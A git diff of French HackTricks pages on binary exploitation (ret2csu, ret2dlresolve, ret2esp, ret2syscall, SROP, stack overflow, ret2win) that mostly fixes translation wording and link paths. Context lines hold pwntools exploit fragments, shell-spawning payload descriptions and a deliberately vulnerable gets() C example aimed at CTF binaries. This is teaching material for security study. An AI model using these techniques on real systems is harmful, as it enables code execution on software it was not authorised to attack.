 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée **`win`** (prenant l'adresse de `win` depuis stdin en appelant gets dans la chaîne ROP et en la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
+> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée **`win`** (prenant l'adresse de `win` depuis stdin appelant gets dans la chaîne ROP et la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
 
-### Contourner l'appel et atteindre ret
+### Contournement de l'appel et atteinte du ret
 
 L'exploit suivant a été extrait [**de cette page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) où le **ret2csu** est utilisé mais au lieu d'utiliser l'appel, il **contourne les comparaisons et atteint le `ret`** après l'appel :
 ```python
@@ -167,6 +167,6 @@ target.interactive()
 ```
 ### Pourquoi ne pas simplement utiliser libc directement ?
 
-Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
+Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -4,16 +4,16 @@
 
 ## Informations de base
 
-Comme expliqué dans la page sur [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) et [**Relro**](../common-binary-protections-and-bypasses/relro.md), les binaires sans Full Relro résolvent les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se produit en appelant la fonction **`_dl_runtime_resolve`**.
+Comme expliqué dans la page sur [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) et [**Relro**](../common-binary-protections-and-bypasses/relro.md), les binaires sans Full Relro résolvent les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se fait en appelant la fonction **`_dl_runtime_resolve`**.
 
-La fonction **`_dl_runtime_resolve`** prend de la pile des références à certaines structures dont elle a besoin pour **résoudre** le symbole spécifié.
+La fonction **`_dl_runtime_resolve`** prend sur la pile des références à certaines structures dont elle a besoin pour **résoudre** le symbole spécifié.
 
 Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**).
 
 En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `'$'/bin/sh'`.
 
 > [!TIP]
-> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) et qu'il n'y a pas de moyens de divulguer les adresses libc.
+> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/index.html) ou [SROP](srop-sigreturn-oriented-programming/index.html)) et qu'il n'y a pas de moyens de leak les adresses libc.
 
 Regardez cette vidéo pour une bonne explication de cette technique dans la seconde moitié de la vidéo :
 

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -6,9 +6,9 @@
 
 **Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile**, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction **`jmp esp`** ou **`call esp`**. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction `ret` s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké.
 
-Si **l'Randomisation de l'Espace d'Adresse (ASLR)** n'est pas activée sous Windows ou Linux, il est possible d'utiliser des instructions `jmp esp` ou `call esp` trouvées dans des bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Si **l'Address Space Layout Randomization (ASLR)** n'est pas activé sous Windows ou Linux, il est possible d'utiliser des instructions `jmp esp` ou `call esp` trouvées dans des bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
-De plus, être capable de placer le shellcode **après la corruption de l'EIP**, plutôt qu'au milieu de la pile, garantit que toute instruction `push` ou `pop` exécutée pendant l'opération de la fonction n'interfère pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.
+De plus, être capable de placer le shellcode **après la corruption de l'EIP**, plutôt qu'au milieu de la pile, garantit que toutes les instructions `push` ou `pop` exécutées pendant l'opération de la fonction n'interfèrent pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.
 
 ### Manque d'espace
 
@@ -41,7 +41,7 @@ pause()
 p.sendlineafter('RSP!\n', payload)
 p.interactive()
 ```
-Vous pouvez voir un autre exemple de cette technique dans [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Il y a un débordement de tampon sans NX activé, un gadget est utilisé pour **réduire l'adresse de `$esp`** puis un `jmp esp;` pour sauter au shellcode :
+Vous pouvez voir un autre exemple de cette technique dans [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Il y a un débordement de tampon sans NX activé, un gadget est utilisé pour r**éduire l'adresse de `$esp`** et ensuite un `jmp esp;` pour sauter au shellcode :
 ```python
 # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
 from pwn import *
@@ -78,7 +78,7 @@ target.interactive()
 ```
 ## Ret2reg
 
-De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **tout autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**).
+De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **n'importe quel autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**).
 
 ### Exemple
 
@@ -92,7 +92,7 @@ Vous pouvez trouver quelques exemples ici : 
 
 ### Ret2sp
 
-Dans ARM64, il **n'y a pas** d'instructions permettant de **sauter au registre SP**. Il pourrait être possible de trouver un gadget qui **déplace sp vers un registre et ensuite saute à ce registre**, mais dans la libc de ma kali, je n'ai pas pu trouver de gadget comme ça :
+Dans ARM64, il **n'y a pas** d'instructions permettant de **sauter au registre SP**. Il pourrait être possible de trouver un gadget qui **déplace sp vers un registre puis saute à ce registre**, mais dans la libc de ma kali, je n'ai pas pu trouver de gadget comme ça :
 ```bash
 for i in `seq 1 30`; do
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@@ -159,13 +159,13 @@ p.sendline(payload)
 p.interactive()
 ```
 > [!WARNING]
-> Si au lieu de `fgets`, on avait utilisé quelque chose comme **`read`**, il aurait été possible de contourner PIE en **écrivant seulement les 2 derniers octets de l'adresse de retour** pour revenir à l'instruction `br x0;` sans avoir besoin de connaître l'adresse complète.\
+> Si au lieu de `fgets`, quelque chose comme **`read`** avait été utilisé, il aurait été possible de contourner PIE en **écrivant seulement les 2 derniers octets de l'adresse de retour** pour revenir à l'instruction `br x0;` sans avoir besoin de connaître l'adresse complète.\
 > Avec `fgets`, cela ne fonctionne pas car il **ajoute un octet nul (0x00) à la fin**.
 
 ## Protections
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/) : Cela peut rendre plus difficile la recherche d'une instruction à laquelle sauter vers esp ou tout autre registre.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre.
 
 ## Références
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -4,7 +4,7 @@
 
 ## Informations de base
 
-Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec quelques arguments pour exécuter `/bin/sh`. Cette technique est généralement réalisée sur des binaires compilés statiquement, donc il peut y avoir de nombreux gadgets et instructions syscall.
+Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec quelques arguments pour exécuter `/bin/sh`. Cette technique est généralement réalisée sur des binaires compilés statiquement, donc il pourrait y avoir beaucoup de gadgets et d'instructions syscall.
 
 Pour préparer l'appel pour le **syscall**, la configuration suivante est nécessaire :
 
@@ -13,10 +13,10 @@ Pour préparer l'appel pour le **syscall**, la configuration suivante est néces
 - `rsi: 0 spécifier aucun argument passé`
 - `rdx: 0 spécifier aucune variable d'environnement passée`
 
-Donc, en gros, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part et ensuite d'effectuer le `syscall` (en étant conscient du padding nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue.
+Donc, fondamentalement, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part et ensuite d'effectuer le `syscall` (en étant conscient du padding nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue.
 
 > [!TIP]
-> Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les permissions d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les permissions d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 
 ## Gadgets de registre
 
@@ -172,10 +172,10 @@ target.interactive()
 ## Autres exemples et références
 
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
-- 64 bits, pas de PIE, nx, écrire dans une mémoire un ROP pour appeler `execve` et sauter là.
+- 64 bits, pas de PIE, nx, écrire dans une mémoire un ROP pour appeler `execve` et y sauter.
 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
-- 64 bits, nx, pas de PIE, écrire dans une mémoire un ROP pour appeler `execve` et sauter là. Pour écrire sur la pile, une fonction qui effectue des opérations mathématiques est abusée.
+- 64 bits, nx, pas de PIE, écrire dans une mémoire un ROP pour appeler `execve` et y sauter. Pour écrire sur la pile, une fonction qui effectue des opérations mathématiques est abusée.
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et sauter là.
+- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et y sauter.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -2,16 +2,16 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informations de base
+## Basic Information
 
-**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signaux. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un **gestionnaire de signaux**, une fonction spéciale conçue pour traiter les signaux.
+**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après qu'un gestionnaire de signal a terminé son exécution. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un **gestionnaire de signal**, une fonction spéciale conçue pour traiter les signaux.
 
-Après que le gestionnaire de signaux ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signaux** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signaux.
+Après que le gestionnaire de signal a terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signal** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.
 
 La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
 
 > [!CAUTION]
-> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
+> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs de registre** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs de registre et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
 
 Notez comment cela serait un **type de Ret2syscall** qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls :
 
@@ -19,7 +19,7 @@ Notez comment cela serait un **type de Ret2syscall** qui facilite beaucoup le co
 ../rop-syscall-execv/
 {{#endref}}
 
-Si vous êtes curieux, voici la **structure sigcontext** stockée dans la pile pour récupérer plus tard les valeurs (diagramme de [**ici**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)) :
+Si vous êtes curieux, voici la **structure sigcontext** stockée dans la pile pour récupérer plus tard les valeurs (diagramme de [**ici**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -90,7 +90,7 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
-Vérifiez également l'[**exploit d'ici**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) où le binaire appelait déjà `sigreturn` et il n'est donc pas nécessaire de le construire avec un **ROP** :
+Vérifiez également l'[**exploit ici**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) où le binaire appelait déjà `sigreturn` et il n'est donc pas nécessaire de le construire avec un **ROP** :
 ```python
 from pwn import *
 
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/) via une structure **sigreturn** et de lire le drapeau qui se trouve dans la mémoire du binaire.
+- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/index.html) via une structure **sigreturn** et de lire le flag qui se trouve dans la mémoire du binaire.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/) via une structure **sigreturn** (le binaire a la chaîne `/bin/sh`).
+- Binaire d'assemblage qui permet de **écrire sur la pile** et ensuite appelle le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/index.html) via une structure **sigreturn** (le binaire a la chaîne `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, pas de relro, pas de canary, nx, pas de pie. Débordement de tampon simple abusant de la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](../rop-syscall-execv/). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle abuse de la fonction **`alarm`** pour définir eax à `0xf` afin d'appeler un **SROP** et d'exécuter un shell.
+- 64 bits, pas de relro, pas de canary, nx, pas de pie. Débordement de tampon simple abusant de la fonction `gets` avec un manque de gadgets qui effectue un [**ret2syscall**](../rop-syscall-execv/index.html). La chaîne ROP écrit `/bin/sh` dans le `.bss` en appelant à nouveau gets, elle abuse de la fonction **`alarm`** pour définir eax à `0xf` afin d'appeler un **SROP** et d'exécuter un shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis appelle `exit`. Le syscall sélectionné est un `sigreturn` qui définira les registres et déplacera `eip` pour appeler une instruction syscall précédente et exécuter `memprotect` pour définir l'espace binaire à `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, l'ESP pointera vers l'instruction suivante, donc passer un shellcode l'écrira comme l'instruction suivante et l'exécutera.
+- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis il appelle `exit`. Le syscall sélectionné est un `sigreturn` qui va définir les registres et déplacer `eip` pour appeler une instruction syscall précédente et exécuter `memprotect` pour définir l'espace binaire à `rwx` et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, ESP pointera vers l'instruction suivante, donc passer un shellcode l'écrira comme l'instruction suivante et l'exécutera.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP est utilisé pour donner des privilèges d'exécution (memprotect) à l'endroit où un shellcode a été placé.
 

src/binary-exploitation/stack-overflow/README.md

@@ -4,7 +4,7 @@
 
 ## Qu'est-ce qu'un débordement de pile
 
-Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile que ce qui lui est alloué. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
+Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
 
 Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
 
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Trouver les décalages des débordements de pile
+### Trouver les offsets des débordements de pile
 
-La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
+La façon la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
 
-De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur \_n**\_\*\* apparaît exactement une fois\*\* comme sous-séquence contiguë.
+De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver l'offset jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur \_n**\_\*\* apparaît exactement une fois\*\* en tant que sous-séquence contiguë.
 
-De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver le décalage des octets qui ont fini par la surcharger.
+De cette façon, au lieu de devoir déterminer manuellement quel offset est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver l'offset des octets qui ont fini par le surcharger.
 
 Il est possible d'utiliser **pwntools** pour cela :
 ```python
@@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Exploiter les débordements de pile
 
-Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez **écraser** les valeurs des variables locales dans la pile jusqu'à atteindre le **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\
+Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez **écraser** les valeurs des variables locales dans la pile jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\
 La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé vers l'endroit spécifié par l'utilisateur** dans ce pointeur.
 
 Cependant, dans d'autres scénarios, il se peut que **l'écrasement de certaines valeurs de variables dans la pile** soit suffisant pour l'exploitation (comme dans des défis CTF faciles).
 
 ### Ret2win
 
-Dans ce type de défis CTF, il y a une **fonction** **dans** le binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
+Dans ce type de défis CTF, il y a une **fonction** **dans** le binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
 
 {{#ref}}
 ret2win/

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -4,11 +4,11 @@
 
 ## Informations de base
 
-Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Capture The Flag (CTF)**, en particulier dans les tâches impliquant **l'exploitation binaire**. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples :
+Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Capture The Flag (CTF)**, en particulier dans les tâches impliquant **binary exploitation**. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples :
 
 ### Exemple C
 
-Considérez un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
+Considérons un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas.
 - `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
 
-### Exploit Python utilisant Pwntools
+### Python Exploit utilisant Pwntools
 
 Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
 ```python
@@ -69,8 +69,8 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 
 ## Protections
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivées sinon l'adresse de retour EIP compromise ne sera jamais suivie.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison du fonctionnement de l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
 
 ## Autres exemples & Références
 
@@ -82,7 +82,7 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, pas d'ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
